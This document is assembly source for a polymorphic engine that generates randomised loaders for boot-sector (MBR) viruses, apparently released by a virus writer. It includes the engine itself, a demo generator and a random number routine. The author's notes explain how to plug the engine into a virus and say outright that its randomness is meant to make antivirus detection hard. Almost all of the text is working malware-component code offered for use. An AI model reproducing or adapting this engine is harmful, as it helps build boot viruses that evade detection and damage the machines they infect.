; ; . .: .:.. :.. .. .:.::. :. ..: ; <<-==млллллм=млллллм=млллллм===< ; .:: ллл ллл:ллл ллл.ллл ллл .:. ; . .:.мммллп.плллллл.ллллллл:.. ; ...лллмммм:ммммллл:ллл ллл.::. ; >===ллллллл=ллллллп=ллл ллл=->> ; .: .:.. ..:. .: ..:.::. ::.. :.:. ; ; [VRBL] ; Vecna's Random Boot Loader ; ; ; This is the first polymorphic engine exclusively designed for boot viruses ; ever, and it's, maybe, one of the most variable engines in the world! This ; engine creates a loader, to be put in the MBR/BOOT, and sets up registers ; for further polymorphism in the virus body. The engine, btw, is very small ; as it's only 739 bytes long. ; ; The engine operates this way: first it creates random movs, jmps, xchgs, ; adds, xors, and so on. They are fully random, with no fixed structure. Af- ; ter this, it executes the loader in single step mode. The int 1 handler ; checks for the end of the generated code, when it passes control to the ; final routine, which fixes the needed registers, thru xors, adds and subs, ; using the values that are already held in the registers. So, not even the ; moves are fixed. After this, the loader passes control to the virus body, ; either by an intersegmented jump, or by means of a retf instruction. ; ; The engine has two EQUates, which are SIZE_IN_SECTORS and SEGMENT_VALUE. ; In SIZE_IN_SECTORS you must put the size of your virus divided by 512, and ; in SEGMENT_VALUE, the value of the segment you want your virus to get con- ; trol of. As your virus probably gets mem from 0:[413h], you should not put ; very high values here, because your virus may overwrite itself when moving ; to the final segment. In machines with 640kb of conventional memory, which ; is the most common value nowadays, the max value is 640-((SIZE_IN_SECTORS* ; 512)*2). Remember also not to put this value in the 7c0h-7b0h or 0h-100h ; segment area, because of the original boot and the IVT presence. ; ; In short, use 2000 and it will work. ;-) ; ; Below you will find the code for VRBL, and later a demo test program which ; shows the effectivity of the engine, and the randomizer routine that I de- ; signed especifically for it. Hope you enjoy it! ; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; Poly engine for boot loader ; Entry: ; DI = buffer to put loader in ; CX = cylynder of code ; DX = head of code ; Exit: ; All preserved size_in_sectors equ 3 segment_value equ 2000h makeloader proc pusha push ds push es push cs push cs pop es pop ds call random_init mov word ptr ds:[_CX], cx mov word ptr ds:[_DX], dx call random and ax, 000111111b or al, 10000b mov cx, ax mov word ptr [START], di call random and ax, 011111b add al, 000111b push cx mov cx, ax MyBrainIsUpsideDown: call make_mov loop MyBrainIsUpsideDown pop cx LoveKills: push cx NowIWannaSniffSomeGlue: call random and ax, 0111b shl ax, 1 mov si, offset GARBAGE_TABLE add si, ax cmp si, word ptr ds:[LAST_CHOOSEN] je NowIWannaSniffSomeGlue mov word ptr ds:[LAST_CHOOSEN], si call word ptr ds:[si] pop cx loop LoveKills mov word ptr [STOP], di push 0 pop ds push dword ptr ds:[1*4] mov word ptr ds:[1*4], offset INT1 mov word ptr ds:[1*4+2], cs mov word ptr cs:[_SP], sp mov ax, ss mov word ptr cs:[_SS], ax mov cx, 8 IDontWantBeBuriedInAPetCemetary: push 0 loop IDontWantBeBuriedInAPetCemetary popa push 0100h push cs push word ptr cs:[START] iret endp makeloader db '[VRBL]' make_jmp proc call random mov al, 0ebh and ah, 000001111b or ah, 00000011b stosw movzx cx, ah RamonesMania: call random stosb loop RamonesMania ret endp make_jmp make_inst_inst proc call random and ax, 01100000111b mov bx, offset TABLE_INST_INST xlat or al, ah stosb SpiderMan: call random and ax, 00111111b mov cx, ax mov dx, ax shr dx, 3 and cx, 0111b cmp cx, dx je SpiderMan cmp cx, 0100b je SpiderMan cmp dx, 0100b je SpiderMan or ax, 11000000b stosb ret endp make_inst_inst table_inst_inst equ this byte db 00001000b db 10001000b db 00100000b db 00010000b db 00000000b db 00011000b db 00101000b db 00110000b make_inst_sec proc mov al, 011110111b stosb TheKKKTookMyBabyAway: call random and ax, 0000011100111000b cmp ah, 00000100b je TheKKKTookMyBabyAway cmp al, 00010000b jb TheKKKTookMyBabyAway cmp al, 00101000b ja TheKKKTookMyBabyAway or al, ah or al, 011000000b stosb ret endp make_inst_sec make_one_byte proc mov si, offset table_one call random and ax, 00001111b movsb ret endp make_one_byte table_one equ this byte clc cld cli stc std sti cmc cwd cbw lodsb scasb sahf lahf int 3 nop db 0f1h make_inst_imm proc mov bx, offset i_table mov al, 10000001b stosb DoYouWannaDance: call random and ax, 0000011100000111b cmp ah, 0100b je DoYouWannaDance xlat or al, ah stosb call random stosw ret endp make_inst_imm i_table equ this byte db 11000000b db 11001000b db 11010000b db 11011000b db 11100000b db 11101000b db 11110000b db 11111000b inc_dec_ proc IWannaBeSedated: call random and al, 01111b mov cl, al and cl, 0111b cmp cl, 0100b je IWannaBeSedated or al, 01000000b stosb ret endp inc_dec_ make_mov proc call random and al, 0111b cmp al, 0100b je make_mov or al, 010111000b stosb call random stosw ret endp make_mov start equ this byte dw 0 last_choosen equ this byte dw 0 garbage_table equ this byte dw offset make_inst_inst dw offset make_mov dw offset make_inst_sec dw offset make_inst_imm dw offset inc_dec_ dw offset make_one_byte dw offset make_jmp dw offset make_mov int1 proc push bp mov bp, sp cmp word ptr cs:[bp+2], 1234h stop equ word ptr $-2 jae fixreg pop bp iret endp int1 fixreg proc mov word ptr cs:[SAVE_AX], ax mov word ptr cs:[SAVE_BX], bx mov word ptr cs:[SAVE_CX], cx mov word ptr cs:[SAVE_DX], dx cli mov sp, 1234h _sp equ word ptr $-2 mov ax, 1234h _ss equ word ptr $-2 mov ss, ax sti push 0 pop ds pop dword ptr ds:[1*4] push cs push cs pop ds pop es mov di, word ptr [STOP] BornToDieInBerlin: mov bp, 0 ImAStumpedStormtropperYesIAm: mov si, offset TABLE_FIX call random and ax, 0111b cmp al, 6 jae ImAStumpedStormtropperYesIAm shl ax, 1 add si, ax call word ptr [si] call random jp IBelieveInMiracles call make_jmp IBelieveInMiracles: cmp bp, 0111111b jne ImAStumpedStormtropperYesIAm jmp HeyOhLetsGo table_fix equ this byte dw offset make_ax dw offset make_bx dw offset make_cx dw offset make_dx dw offset make_es dw offset make_override make_ax: bts bp, 0 jc $ret mov dl, 000b mov bx, word ptr [SAVE_AX] mov cx, word ptr [_AX] $put: mov al, 010000001b stosb call random and ax, 011b cmp al, 1 je @sub cmp al, 2 je @add @xor: xor bx, cx mov al, 011110000b jmp store @sub: sub bx, cx mov al, 011101000b jmp store @add: sub bx, cx neg bx mov al, 011000000b store: and al, not(0111b) or al, dl stosb xchg ax, bx stosw $ret: ret make_bx: bts bp, 1 jc $ret mov dl, 011b mov bx, word ptr [SAVE_BX] mov cx, word ptr [_BX] jmp $put make_cx: bts bp, 2 jc $ret mov dl, 001b mov bx, word ptr [SAVE_CX] mov cx, word ptr [_CX] jmp $put make_dx: bts bp, 3 jc $ret mov dl, 010b mov bx, word ptr [SAVE_DX] mov cx, word ptr [_DX] jmp $put make_es: bts bp, 4 jc $ret bt bp, 5 jc SadMOV PushPop: mov al, 68h stosb mov ax, SEGMENT_VALUE stosw mov al, 0 org $-1 pop es stosb jmp $ret SadMOV: mov al, 010111101b stosb mov ax, SEGMENT_VALUE stosw mov al, 010001110b stosb mov al, 011000101b stosb ; mov bp, SEGMENT_VALUE ; mov es, bp jmp $ret make_override: bts bp, 5 jc $ret mov al, 68h stosb mov ax, SEGMENT_VALUE stosw mov bl, byte ptr [seg_need] TryES: cmp bl, 26h jne TryCS ; mov al, 0 ; org $-1 ; pop es ; stosb CleanDI: sub di, 3 jmp $ret TryCS: cmp bl, 2eh je CleanDI ; mov al, 0 ; org $-1 ; pop cs ; stosb TrySS: cmp bl, 36h jne TryDS mov al, 0 org $-1 pop ss jmp BackInBlack TryDS: cmp bl, 90h jne TryFS mov al, 0 org $-1 pop ds BackInBlack: stosb jmp $ret TryFS: cmp bl, 64h jne TryGS mov ax, 1234h org $-2 pop fs jmp BackToTheHell TryGS: mov ax, 1234h org $-2 pop gs BackToTheHell: stosw jmp $ret HeyOhLetsGo: mov ax, 013cdh stosw call random bt ax, 1 jc make_jump make_retf: mov ax, 00 org $-2 push es push bx stosw mov al, 0 org $-1 retf stosb jmp done make_jump: mov al, 0eah stosb mov ax, word ptr cs:[_BX] stosw mov ax, SEGMENT_VALUE stosw jmp done done: mov word ptr [STOP], di pop es pop ds popa ret endp fixreg _AX dw 200h+size_in_sectors _BX dw 0 _CX dw ? _DX dw ? save_AX dw ? save_BX dw ? save_CX dw ? save_DX dw ? ; - -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; This demo program generates 99999999 little demos of my engine. This code ; must reside in the MBR or the boot sector of a floppy or harddrive. They ; will load the rest of the virus from other track. They're very variable. ; This code is designed to run in a boot, so, if you execute the demos they ; will surely crash. Check the code with a debugger. .model tiny .code .startup .386 push cs pop ds push cs pop es do_next: call random_init mov di, 08000h mov cx, 1 mov dx, 0180h call makeloader mov ah, 3ch mov dx, offset fn2 xor cx, cx int 21h jc exit_dem xchg ax, bx mov ah, 40h mov cx, word ptr [STOP] mov dx, word ptr [START] sub cx, dx int 21h mov ah, 3eh int 21h cmp byte ptr ds:[fn2+7], '9' je zero_1 inc byte ptr ds:[fn2+7] jmp next_file zero_1: mov byte ptr ds:[fn2+7], '0' cmp byte ptr ds:[fn2+6], '9' je zero_2 inc byte ptr ds:[fn2+6] jmp next_file zero_2: mov byte ptr ds:[fn2+6], '0' cmp byte ptr ds:[fn2+5], '9' je zero_3 inc byte ptr ds:[fn2+5] jmp next_file zero_3: mov byte ptr ds:[fn2+5], '0' cmp byte ptr ds:[fn2+4], '9' je zero_4 inc byte ptr ds:[fn2+4] jmp next_file zero_4: mov byte ptr ds:[fn2+4], '0' cmp byte ptr ds:[fn2+3], '9' je zero_5 inc byte ptr ds:[fn2+3] jmp next_file zero_5: mov byte ptr ds:[fn2+3], '0' cmp byte ptr ds:[fn2+2], '9' je zero_6 inc byte ptr ds:[fn2+2] jmp next_file zero_6: mov byte ptr ds:[fn2+2], '0' cmp byte ptr ds:[fn2+1], '9' je zero_7 inc byte ptr ds:[fn2+1] jmp next_file zero_7: mov byte ptr ds:[fn2+1], '0' cmp byte ptr ds:[fn2], '9' je exit_dem inc byte ptr ds:[fn2] jmp next_file next_file: jmp do_next exit_dem: int 20h fn2 db '00000000.COM',0 seg_need db 65h include random.asm org 01000h include vrbl.asm end ; - -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; This is a slow random number generator. This type of random number gene- ; rators are ideal for polymorphic viruses, because AVs will need to work ; hard in order to create a reliable algorithm to detect the virus. Despite ; of this, I changed it not to be slow, so I can demostrate the variability ; of the engine. You need to call first RANDOM_INIT, then RANDOM to get the ; random values back in AX. random_init proc pusha push es push ds push cs cs pop ds es mov ah, 8 mov dl, 80h ; int 13h mov ax, 201h mov bx, offset random_table and cx, 0111111b mov dx, 0080h ; int 13h cmp dword ptr ds:[bx], ' );' ; je TableDone CreateTable: mov di, bx mov cx, 512 NextRandom: in al, 40h xor byte ptr [X_V], al in al, 40h add byte ptr [X_V], al jmp $+2 mov al, 00 X_V equ $-1 stosb loop NextRandom WriteTable: mov ah, 8 mov dl, 80h ; int 13h mov ax, 301h mov dword ptr ds:[bx], ' );' and cx, 0111111b mov dx, 80h ; int 13h TableDone: mov word ptr ds:[RANDOM_NUMBER], 5 pop ds pop es popa ret endp random_init random proc push bx push ds push cs pop ds mov ax, word ptr [RANDOM_NUMBER] mov bx, ax inc ax cmp ax, 512 jbe ImTheCrusherKingOfTheRing mov ax, 4 ImTheCrusherKingOfTheRing: mov word ptr [RANDOM_NUMBER], ax mov ax, word ptr [RANDOM_TABLE+bx] sahf pop ds pop bx ret endp random random_number dw 0 random_table db 512 dup(0)